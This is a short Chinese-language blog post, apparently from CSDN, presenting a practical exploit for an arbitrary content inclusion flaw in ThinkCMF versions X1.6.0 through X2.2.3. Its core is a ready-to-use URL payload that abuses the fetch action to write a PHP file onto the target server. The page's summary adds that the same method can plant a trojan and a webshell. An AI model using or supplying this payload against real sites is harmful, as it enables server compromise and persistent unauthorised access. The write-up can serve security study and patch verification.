ThinkCMF框架任意内容包含漏洞-实战

最新推荐文章于 2024-07-22 11:02:55 发布

佛性死磕

最新推荐文章于 2024-07-22 11:02:55 发布

阅读量527

点赞数 1

分类专栏： web安全

本文链接：https://blog.csdn.net/qq_44902875/article/details/109034729

版权

本文详细探讨了ThinkCMF框架存在的任意内容包含漏洞，具体影响多个版本。通过展示phpinfo版的payload和构造a参数的display方法，揭示了该漏洞的利用方式。此外，还提及了利用此漏洞可以改写入木马并利用webshell工具进行连接的实际应用场景。

摘要由CSDN通过智能技术生成

漏洞影响版本：

ThinkCMF X1.6.0
    ThinkCMF X2.1.0
    ThinkCMF X2.2.0
    ThinkCMF X2.2.1
    ThinkCMF X2.2.2
    ThinkCMF X2.2.3

1、phpinfo版payload如下：

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

关注关注